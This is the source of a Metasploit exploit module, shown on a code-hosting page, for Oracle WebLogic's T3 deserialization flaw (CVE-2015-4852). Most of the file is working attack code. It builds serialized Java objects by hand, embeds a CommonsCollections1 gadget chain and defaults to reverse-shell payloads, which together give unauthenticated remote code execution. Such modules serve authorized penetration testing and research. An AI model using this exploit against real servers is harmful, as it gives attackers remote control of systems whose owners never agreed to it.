Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::Remote::Tcp10include Msf::Exploit::JavaDeserialization1112def initialize(info={})13super(update_info(info,14'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',15'Description' => %q{16An unauthenticated attacker with network access to the Oracle Weblogic Server T317interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)18to the interface to execute code on vulnerable hosts.19},20'Author' =>21[22'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)23'Stephen Breen', # Vulnerability Discovery24'Aaron Soto', # Reverse Engineering JSO and ysoserial blobs25'Steve Embling', # T3S porting and testing26],27'License' => MSF_LICENSE,28'References' =>29[30['CVE', '2015-4852']31],32'Privileged' => false,33'Platform' => %w{ unix win solaris },34'Targets' =>35[36[ 'Unix',37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},40'Payload' => {41'Compat' => {'PayloadType' => 'cmd'}42}43],44[ 'Windows',45'Platform' => 'win',46'Payload' => {},47'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}48],49[ 'Solaris',50'Platform' => 'solaris',51'Arch' => ARCH_CMD,52'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},53'Payload' => {54'Space' => 2048,55'DisableNops' => true,56'Compat' =>57{58'PayloadType' => 'cmd',59'RequiredCmd' => 'generic perl telnet',60}61}62]63],64'DefaultTarget' => 0,65'DisclosureDate' => '2015-01-28',66'Notes' => {67'Reliability' => [REPEATABLE_SESSION],68'Stability' => [CRASH_SAFE],69'SideEffects' => [IOC_IN_LOGS]70}))7172register_options([73Opt::RPORT(7001),74])7576register_advanced_options([77OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])78])79end8081=begin This check is currently incompatible with the Tcp mixin. :-(82def check83resp = send_request_cgi(84'method' => 'GET',85'uri' => '/console/login/LoginForm.jsp'86)8788return CheckCode::Unknown unless resp && resp.code == 2008990unless resp.body.include?('Oracle WebLogic Server Administration Console')91vprint_warning("Oracle WebLogic Server banner cannot be found")92return CheckCode::Unknown93end9495/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body96unless version97vprint_warning("Oracle WebLogic Server version cannot be found")98return CheckCode::Unknown99end100101version = Rex::Version.new(version)102vprint_good("Detected Oracle WebLogic Server Version: #{version}")103case104when version.to_s.start_with?('10.3')105return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')106when version.to_s.start_with?('12.1.2')107return CheckCode::Appears unless version > Rex::Version.new('12.1.2.0')108when version.to_s.start_with?('12.1.3')109return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')110when version.to_s.start_with?('12.2')111return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')112end113114return CheckCode::Safe115end116=end117118def t3_handshake119# retrieved from network traffic120if !datastore['SSL'] || datastore['FORCE_T3']121shake = 't3'122else123shake = 't3s'124end125shake << " 12.2.1\n"126shake << "AS:255\n"127shake << "HL:19\n"128shake << "MS:10000000\n\n"129130sock.put(shake)131sleep(1)132sock.get_once133end134135def build_t3_request_object136# T3 request serialized data137# retrieved by watching network traffic138# This is a proprietary, undocumented protocol139140# TODO: Cite a source for the dissection of in the following 14 lines:141data = '000005c3' # lenght of the packet142data << '01' # CMD_IDENTIFY_REQUEST143data << '65' # QOS144data << '01' # Flags:145# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)146# CONTEXT_TX_FLAG = 2147# CONTEXT_TRACE_FLAG = 4148# CONTEXT_EXTENDED_FLAG = 8149# CONTEXT_EXTENDED_USER_FLAG = 16150data << 'ffffffff' # response id151data << 'ffffffff' # invocable id152data << '0000006a' # abbrev offset153data << '0000ea60' # reconnect timeout ??154155data << '0000001900937b484a'156data << '56fa4a777666f581daa4f5b90e2aebfc607499'157data << 'b4027973720078720178720278700000000a00'158data << '00000300000000000000060070707070707000'159data << '00000a000000030000000000000006007006'160161data << 'fe010000' # ----- separator -----162163data << 'aced0005' # JSO v5 header164data << '73' # object header165data << '72001d' # className (29 bytes):166data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry167data << '5461626c65456e747279' # (continued)168data << '2f52658157f4f9ed' # serialVersionUID169data << '0c00007870' # remainder of object header170data << '72' # object header171data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo172data << '65726e616c2e5061636b616765496e666f' # (continued)173data << 'e6f723e7b8ae1ec9' # serialVersionUID174data << '02' # SC_SERIALIZABLE175data << '0008' # fieldCount = 8176data << '4900056d616a6f72' # 0: Int: major177data << '4900056d696e6f72' # 1: Int: minor178data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch179data << '49000b736572766963655061636b' # 3: Int: servicePack180data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch181data << '4c0009696d706c5469746c65' # 5: Obj: implTitle182data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String183data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor184data << '71007e0003' # (Handle) 0x007e0003185data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion186data << '71007e0003' # (Handle) 0x007e0003187data << '78707702000078' # block footers188189data << 'fe010000' # ----- separator -----190191data << 'aced0005' # JSO v5 header192data << '7372' # object header193data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry194data << '735461626c65456e747279' # (continued)195data << '2f52658157f4f9ed' # serialVersionUID196data << '0c' # EXTERNALIZABLE | BLOCKDATA197data << '00007870' # remainder of object header198data << '72' # object header199data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo200data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)201data << '972245516452463e' # serialVersionUID202data << '02' # SC_SERIALIZABLE203data << '0003' # fieldCount = 3204data << '5b0008' # array header (8 bytes)205data << '7061636b61676573' # ARRAY NAME = 'packages'206data << '740027' # TC_STRING className1 (39 bytes)207data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo208data << '6e7465726e616c2f5061636b616765496e666f' # (continued)209data << '3b' # (continued)210data << '4c000e' # object header (14 bytes)211data << '72656c6561736556657273696f6e' # releaseVersion212data << '740012' # TC_STRING (18 bytes)213data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes214data << '5b0012' # array header (18 bytes)215data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;216data << '740002' # TC_STRING (2 bytes)217data << '5b42' # 0x5b42 = [B218data << '78' # block footer219220data << '720024' # class (36 bytes)221data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo222data << '7465726e616c2e5061636b616765496e666f' # (continued)223data << 'e6f723e7b8ae1ec9' # serialVersionUID224225data << '02' # SC_SERIALIZABLE226data << '0008' # fieldCount = 8227data << '4900056d616a6f72' # 0: Int: major228data << '4900056d696e6f72' # 1: Int: minor229data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch230data << '49000b736572766963655061636b' # 3: Int: servicePack231data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch232data << '4c0009696d706c5469746c65' # 5: Obj: implTitle233data << '71' # TC_REFERENCE234data << '007e0004' # Handle = 0x007e0004235data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor236data << '71' # TC_REFERENCE237data << '007e0004' # Handle = 0x007e0004238data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion239data << '71' # TC_REFERENCE240data << '007e0004' # Handle = 0x007e0004241data << '78' # class footer242data << '70' # TC_NULL243data << '77020000' # BLOCKDATA (2 bytes): 0x0000244data << '78' # block footer245246data << 'fe010000' # ----- separator -----247248data << 'aced0005' # JSO v5 header249data << '73' # object header250data << '72001d' # className (29 bytes):251data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry252data << '5461626c65456e747279' # (continued)253data << '2f52658157f4f9ed' # serialVersionUID254data << '0c00007870' # remainder of object header255data << '720021' # className (33 bytes)256data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo257data << '65726e616c2e50656572496e666f' # (continued)258data << '585474f39bc908f1' # serialVersionUID259data << '02' # SC_SERIALIZABLE260data << '0006' # fieldCount = 6261data << '4900056d616a6f72' # 0: Int: major262data << '4900056d696e6f72' # 1: Int: minor263data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch264data << '49000b736572766963655061636b' # 3: Int: servicePack265data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch266data << '5b00087061636b61676573' # 5: Array: packages267data << '740027' # TC_STRING (39 bytes)268data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;269data << '6e7465726e616c2f5061636b616765496e666f' # (continued)270data << '3b' # (continued)271data << '78' # block footer272data << '720024' # class header273data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Name = Lweblogic/common/internal/PackageInfo;274data << '65726e616c2e56657273696f6e496e666f' # (continued)275data << '972245516452463e' # serialVersionUID276data << '02' # SC_SERIALIZABLE277data << '0003' # fieldCount = 3278data << '5b0008' # 0: Array279data << '7061636b6167657371' # packages280data << '007e0003' # Handle = 0x00730003281data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion282data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;283data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes284data << '740002' # TC_STRING (2 bytes)285data << '5b42' # VALUE = 0x5b42 = [B286data << '78' # block footer287data << '720024' # class header288data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo289data << '6e616c2e5061636b616765496e666f' # (continued)290data << 'e6f723e7b8ae1ec9' # serialVersionUID291data << '02' # SC_SERIALIZABLE292data << '0008' # fieldCount = 8293data << '4900056d616a6f72' # 0: Int: major294data << '4900056d696e6f72' # 1: Int: minor295data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch296data << '49000b736572766963655061636b' # 3: Int: servicePack297data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch298data << '4c0009696d706c5469746c65' # 5: Obj: implTitle299data << '71' # TC_REFERENCE300data << '007e0005' # Handle = 0x007e0005301data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor302data << '71' # TC_REFERENCE303data << '007e0005' # Handle = 0x007e0005304data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion305data << '71' # TC_REFERENCE306data << '007e0005' # Handle = 0x007e0005307data << '78' # class footer308data << '707702000078' # block footers309310data << 'fe00ff' # this cruft again. some kind of footer311312data << 'fe010000' # ----- separator -----313314# weblogic.rjvm.JVMID object315data << 'aced0005' # JSO v5 header316data << '73' # object header317data << '720013' # class header318data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'319data << 'dc49c23ede121e2a' # serialVersionUID320data << '0c' # EXTERNALIZABLE | BLOCKDATA321data << '0000' # fieldCount = 0 (!!!)322data << '78' # block footer323data << '70' # NULL324data << '7750' # block header (80 bytes)325data << '21' # !326data << '000000000000000000' # 9 NULL BYTES327328data << '0d' # strLength = 13 bytes329#data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227330data << '3030302e3030302e3030302e30' # new string = 000.000.000.0331# (must be an IP, and length isn't trivially editable)332data << '00' # \0333334data << '12' # strLength = 18 bytes335#data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh336data << rand_text_alphanumeric(18).unpack('H*')[0]337338data << '83348cd6' # original = ??? UNKNOWN ??? (Note: Cannot be randomized)339340data << '000000070000' # ??? UNKNOWN ???341data << rport.to_s(16).rjust(4, '0') # callback port342data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???343data << 'ffffffffff' # ??? UNKNOWN ???344data << '78' # block footer345346data << 'fe010000' # ----- separator -----347348# weblogic.rjvm.JVMID object349data << 'aced0005' # JSO v5 header350data << '73' # object header351data << '72' # class352data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID353data << 'dc49c23ede121e2a' # serialVersionUID354data << '0c' # EXTERNALIZABLE | BLOCKDATA355data << '0000' # fieldCount = 0356data << '78' # end block357data << '70' # TC_NULL358data << '77' # block header359data << '20' # length = 32 bytes360data << '0114dc42bd071a772700' # old string = ??? UNKNOWN ???361#data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZATION BREAKS THINGS)362363data << '0d' # string length = 13 bytes (NOTE: do not edit)364#data << '3234322e3231342e312e323534' # original string = 242.214.1.254365data << '3030302e3030302e3030302e30' # new string = 000.000.000.0366# (must be an IP, and length isn't trivially editable)367368#data << '61863d1d' # original string = ??? UNKNOWN ???369data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized370371data << '00000000' # NULL BYTES372data << '78' # block footer373374sock.put([data].pack('H*'))375sleep(1)376sock.get_once377end378379def send_payload_objdata380# basic weblogic ClassTableEntry object (serialized)381# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?382objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'383objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'384objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'385386objdata << 'fe010000' # ----- separator -----387388objdata << 'aced0005' # JSO v5 header389objdata << '73' # object header390objdata << '72' # class391objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry392objdata << '73735461626c65456e747279' # (cont)393objdata << '2f52658157f4f9ed' # serialVersionUID394objdata << '0c' # EXTERNALIZABLE | BLOCKDATA395objdata << '0000' # fieldCount = 0396objdata << '7870' # remaining object header397objdata << '72' # class header398objdata << '00025b42' # Name: 0x5b42399objdata << 'acf317f8060854e0' # serialVersionUID400objdata << '02' # SERIALIZABLE401objdata << '0000' # fieldCount = 0402objdata << '7870' # class footer403objdata << '77' # block header404objdata << '020000' # contents = 0x0000405objdata << '78' # block footer406407objdata << 'fe010000' # ----- separator -----408409objdata << 'aced0005' # JSO v5 header410objdata << '73' # object header411objdata << '72' # class412objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry413objdata << '73735461626c65456e747279' # (cont)414objdata << '2f52658157f4f9ed' # serialVersionUID415objdata << '0c' # EXTERNALIZABLE | BLOCKDATA416objdata << '0000' # fieldCount = 0417objdata << '7870' # remaining object header418objdata << '72' # class header419420objdata << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;421objdata << '6563743b' # (cont)422objdata << '90ce589f1073296c' # serialVersionUID423objdata << '02' # SERIALIZABLE424objdata << '0000' # fieldCount = 0425objdata << '7870' # remaining object header426objdata << '77' # block header427objdata << '020000' # contents = 0x0000428objdata << '78' # block footer429430objdata << 'fe010000' # ----- separator -----431432objdata << 'aced0005' # JSO v5 header433objdata << '73' # object header434objdata << '72' # class435436objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry437objdata << '73735461626c65456e747279' # (cont)438objdata << '2f52658157f4f9ed' # serialVersionUID439objdata << '0c' # SERIALIZABLE | BLOCKDATA440objdata << '0000' # fieldCount = 0441objdata << '7870' # block footer442objdata << '72' # class header443objdata << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector444objdata << 'd9977d5b803baf01' # serialVersionUID445objdata << '03' # WRITE_METHOD | SERIALIZABLE446objdata << '0003' # fieldCount = 3447objdata << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement448objdata << '49000c656c656d656e74436f756e74' # 1: Int: elementCount449objdata << '5b000b656c656d656e7444617461' # 2: Array: elementData450objdata << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;451objdata << '743b' # (cont)452objdata << '7870' # remaining object header453objdata << '77' # block header454objdata << '020000' # contents = 0x0000455objdata << '78' # block footer456457objdata << 'fe010000' # ----- separator -----458459java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)460objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join461462objdata << 'fe010000' # ----- separator -----463464# basic weblogic ImmutableServiceContext object (serialized)465objdata << 'aced0005' # JSO v5 header466objdata << '73' # object header467objdata << '72' # class468objdata << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext469objdata << '7461626c6553657276696365436f6e74657874' # (cont)470objdata << 'ddcba8706386f0ba' # serialVersionUID471objdata << '0c' # EXTERNALIZABLE | BLOCKDATA472objdata << '0000' # fieldCount = 0473objdata << '78' # object footer474objdata << '72' # block header475objdata << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext476objdata << '696465722e426173696353657276696365436f' # (cont)477objdata << '6e74657874' # (cont)478objdata << 'e4632236c5d4a71e' # serialVersionUID479objdata << '0c' # EXTERNALIZABLE | BLOCKDATA480objdata << '0000' # fieldCount = 0481objdata << '7870' # block footer482objdata << '77' # block header483objdata << '020600' # contents = 0x0600484objdata << '7372' # class descriptor485objdata << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor486objdata << '726e616c2e4d6574686f644465736372697074' # (cont)487objdata << '6f72' # (cont)488objdata << '12485a828af7f67b' # serialVersionUID489objdata << '0c' # EXTERNALIZABLE | BLOCKDATA490objdata << '0000' # fieldCount = 0491objdata << '7870' # class footer492objdata << '77' # class data493494#payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765495#payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c496#payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b497objdata << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized498objdata << '78' # class footer499objdata << '78' # block footer500# MISSING OBJECT FOOTER (0x78)501502objdata << 'fe00ff' # this cruft again. some kind of footer503504# sets the length of the stream505data = ((objdata.length >> 1) + 4).to_s(16).rjust(8,'0')506data << objdata507508sock.put([data].pack('H*'))509sleep(1)510sock.get_once511512end513514def exploit515connect516517print_status('Sending handshake...')518t3_handshake519520print_status('Sending T3 request object...')521build_t3_request_object522523print_status('Sending client object payload...')524send_payload_objdata525526handler527disconnect528end529end530531532